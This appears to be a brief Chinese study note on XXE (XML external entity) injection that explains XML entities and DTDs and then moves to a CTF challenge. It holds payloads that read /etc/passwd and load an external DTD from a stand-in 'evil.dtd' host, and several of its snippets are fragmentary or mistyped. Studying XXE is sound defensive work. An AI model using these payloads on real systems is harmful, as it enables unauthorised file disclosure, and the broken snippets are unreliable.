XXE
一:XML
1.所有xml文档都由5种简单的构造模块(元素,属性,实体,PCDATA CDATA)构成。
2.实体:是由定义引用普通文本或特殊字符的快捷方式的变量,实体应用是对实体的引用。实体可以在内部或者外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的
3.xml实体分为四种:字符实体,命名实体,外部实体,参数实体
4.文档类型定义:DTD
DTD的作用是定义xml文档的合法构建模块。因此可以利用DTD来内部或外部的实体应用
5.内部引用:
<!ENTITY 实体名称 "实体的值">
将DTD和XML放在同一份文档中,利用DTD定义的实体即为内部实体。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY chybeta "Hello World!">
]>
<xxe>
&chybeta;
</xxe>
访问该XML文档,&chybeta;会被解析为Hello World!并输出。
6.外部引入
基本格式:
<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY xxe(实体引用名) system "file:///etc/passwd"(实体内容)>]>
通过引用定义在外部的DTD中的实体,我们称之为外部实体,有system和public两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议: file | http | php
xxe漏洞主要利用的是外部实体,
二: XXE存在的风险与利用
XXE 也就是xml外部实体注入
xml注入的方法,
方法一:
直接通过DTD外部实体声明
XML内容:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
方法二:
XML内容:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http:///123.com/evil.dtd">
<c>$b;</c>
DTD文件内容:
file:///etc/passwd">
三:通过ctf题进一步了解一下xxe(在jsonp种中玩xxe)
网址:https://www.jarvisoj.com/challenges
题目:api调用
题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值
修改content-type和传递的参数,下面是地区本地的敏感信息
读取flag